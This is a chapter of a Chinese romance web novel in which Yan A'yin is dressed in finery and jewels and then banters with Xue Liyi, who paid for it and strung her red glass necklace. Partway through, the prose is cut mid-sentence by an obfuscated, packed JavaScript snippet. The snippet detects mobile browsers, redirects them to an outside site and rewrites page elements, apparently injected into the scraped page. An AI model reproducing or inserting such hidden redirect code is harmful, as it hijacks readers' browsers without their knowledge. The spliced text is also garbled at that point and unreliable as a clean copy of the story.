不知道过了多久,晏阿音努力地抬起眼睛,看向铜镜,目光忽然落在钱娘子围上她脖颈的一串红琉璃金链上。 琉璃被打磨得很光滑,泛着润润光泽,水红的颜色,澄澈干净,却用的是金线装饰。金线穿过水红的珠,在两边各打了一个很蹩脚的结,再往后,一整条链子居然全是金线穿起来的。 老贵了。 娘子见晏阿音看那串编织得很奇怪的红琉璃链,立刻说道:“姑娘,这链子编工确实不大好,但你瞧啊,这红琉璃珠子可是上等品啊,琉璃养人,又极少见,只有那些王公贵族才能用得起,那位薛公子特地嘱咐让戴上的。” 晏阿音一脸怀疑人生。 薛荔衣吩咐的? 什么时候吩咐的? 难道他之前便来过云鬓楼? 这人藏得可真深啊。 晏阿音鼻子里哼出一声冷笑。 冰凉的珠子贴着胸前的皮肤,润润的一点凉意。 晏阿音瞧着,嘿嘿傻笑起来。 不过,还挺好看的嘛…… 又过了两盏茶的时间,钱娘子替她插好最后一支珠钗,拍手笑道:“好了!姑娘你瞧瞧,好不好看?” 晏阿音好奇地往铜镜里看去。 铜镜中,女子的头发挽成俏皮的双环髻,发髻中间一枚赤金步摇,两旁是红玉发钗,上有一只鲜活生动的金丝蝴蝶,只要稍微一动,翅膀便扑簌簌摇动起来,好似要振翅飞起。 晏阿音看呆了,视线往下移动,看向女子的脸。 只见镜中女子额心一点嫣红花钿,眉如远山,眼睛明澈呆愣,琼鼻小巧,朱唇水润,好似那画卷上的神仙丫头,美丽极了。 不是。 这谁? 这还是她吗? 晏阿音面露惊恐,一幅见了鬼的模样。 钱娘子以为她不满意:“咋了姑娘,这是不满意啊?没事没事,别着急,钱娘子我给你重做。” 钱娘子行动雷厉风行,说做就做,这话一说完,立刻就要撸起衣袖给她拆发髻,重新大干一场。 晏阿音忙伸手阻拦:“不用不用,我不是这个意思,我只是……我只是……” 只是了半天也没能说出什么来。 钱娘子恍然大悟,笑了起来:“哦,姑娘怕是不适应吧!那没事,多看几眼就好了,姑娘你瞧瞧,自个儿多漂亮啊。” 晏阿音呆呆的。 是啊。 完全看不出是她了呢。 晏阿音想到这儿,立刻尴尬起来。这都看不出是她了,这位钱娘子的手艺可真好啊,简直是大变活人。 “姑娘,你笑笑嘛,别这么僵硬。” 晏阿音闻言,朝着镜子咧开嘴巴,扯出一个干笑,洁白的牙齿明晃晃的,快要闪瞎人的眼睛。 钱娘子立刻沉默了。 “姑娘,不然你笑得自然点瞧瞧?嗯……就像淑女那样微微的笑。” 自然点的淑女? 晏阿音收了嘴角,用脑袋努力地思索片刻。 这回,某人决心笑不露齿,紧闭嘴唇,僵硬地提起了嘴角。 “……” 钱娘子又沉默了一会儿:“姑娘,不然你还是不笑了吧。” 晏阿音:“……” 钱娘子干笑道:“呵呵,姑娘,没事的,不笑也好看。你可以出去了,你家公子在外面等着呢。” “啊?” “哦,出去。” 晏阿音回神,像是刚学会走路一般站起来。 才迈出一步,却踩到了自己脚下的裙摆,整个人在原地就像不倒翁似的摇摇晃晃,差点往前扑通摔倒在地。 “哎呦,姑娘可当心脚下啊!”钱娘子大叫着扶住她。 晏阿音更尴尬了。 完了,怎么回事,连路都不会走了! “没事的。”晏阿音干笑着,按照钱娘子的指点,两手提起裙子,若无其事地迈步往前走去。 可恶啊,薛荔衣给她整成这模样,一会儿见到了他,她得找他好好算个帐。 这人到底是什么时候瞒着她和云鬓楼的老板娘约好了要打扮她? 晏阿音胡思乱想着,走出去。 彼时,薛荔衣正百无聊赖站在外间屋子的窗边,手中持一汝花莲花碗翻来覆去赏玩,听见脚步也没有回身,只揶揄道:“这么快?你没得是中途坐不住跑出来的吧?噢,我方才还听见钱娘子叫你小心点,看来,你无论在哪都挺让人不省心的嘛……” 晏阿音不说话。 薛荔衣没听见她的声音,顿了顿,原本捧在手里价值连城的汝花莲花碗也没有了吸引力。 他搁下瓷器,转身看向她。 晏阿音睁圆了眼睛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940471|177329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不甘示弱地迎上他的视线。 在薛荔衣转身的一瞬间,晏阿音心中其实猜想过很多种他的反应。 比如嘲讽她就算扮成女人也没有一点女人味、比如意外地说你居然也能、又或者稀罕地看她身上这么多“价值连城”的宝贝,说带回去指不定能卖好多钱云云。 但出乎意料的,她没在他脸上看到任何表情。 没有打击,没有惊艳。 好奇怪。 但他眼里的情绪,好像有些和往常不大一样。 他打量着她,看了许久。 不知道过了多长时间,一线熏香已经燃尽,薛荔衣才有了动作。他笑看着她,挑挑眉说:“还不错啊,总归没浪费我的银子。” 晏阿音在心里把他打了一顿。 果然不管他说什么,都很煞风景。 她无声哼笑一声,也学着他惯常的模样挑起眉毛,提起裙子朝他走过去。 也就在她迈步的一瞬间,薛荔衣忽地身子顿了顿,好像动作有些不自然,但被他压住了,只微微眯眼看她。 晏阿音走到他面前,才停下来。 她仰起头,发髻上的流苏叮当,撞出流水的声音,很奇怪,分明不是她自己的心跳,可她又分明察觉到了没有章法的咚咚声。 “薛荔衣,你这都什么审美啊?”晏阿音说。 薛荔衣的笑意未淡:“你看出来了?这条红琉璃链子确实是我串的,怎么,送你钱你都不喜欢?” 晏阿音把脖子上那串红琉璃捻起来,抑制不住嘲笑:“你自己瞧瞧,这么蹩脚的编法,整个客云,估计找不到第二个能比你还差劲的了。” 薛荔衣唇边挂着笑,轻挑眉,不置可否。 他瞥了她一眼,忽然扭头不再看她。 晏阿音立刻捕捉到了他的异常,能逮着薛荔衣的异常之处嘲笑他,这机会可不容易。 她眨眨眼睛,往他面前凑近了些许。 “你干嘛往后仰?心虚了啊?还是做了什么见不得人的事情?” “除了替你付钱,我能做什么亏心事。你肚子饿了么?我方才看见楼下有家卖炸油果子的,很香,一会儿请你去吃?” 晏阿音哼笑着道:“好啊,反正你付钱,你的银子不花白不花。薛荔衣……我之前倒是没看出来你这么有钱,你藏得挺深啊,快说说,你其他的银子都藏哪儿了?” 某人絮絮叨叨着,并未察觉到—— 这个姿势,两个人靠得着实很近。 空气中弥漫着似有若无的女儿香味。 薛荔衣看向别处,若无其事地咳了声:“你……退后些,头上的簪子碰到我了。” 晏阿音这才愣了下,退后一步,伸手去扶头上的发髻,思来想去,小声嘀咕起来:“你也觉得这些首饰太多了吧?好重,我的脖子要断了。” 她想起什么:“对了,你方才不是说要请我吃炸油果子?要若出去吃,这身行头恐怕不行,等到了街上人多的地方,鞋子都得被踩掉,平白糟蹋好东西,这裙子又长,街上地上泥泞,一不注意就把裙摆弄脏了,而且我也穿不惯这些,我去换回来好了……” 晏阿音作势欲走,没走成。 她被薛荔衣拉住,差点没稳住身体,摔倒在地。 “做什么?”晏阿音的目光落在抓着自己手腕的那只手,又抬头看他。 薛荔衣道:“不要换了。” 说的轻松,敢情要穿着这身累赘行头在街上走的不是他。 晏阿音觉得奇怪,他这人平日不是最讨厌麻烦吗? 她哼着反问:“那我一会儿走不动了,你背我?” 薛荔衣倒是没拒绝,说道:“行。” 他觑她一眼,又补了一句:“我背你。”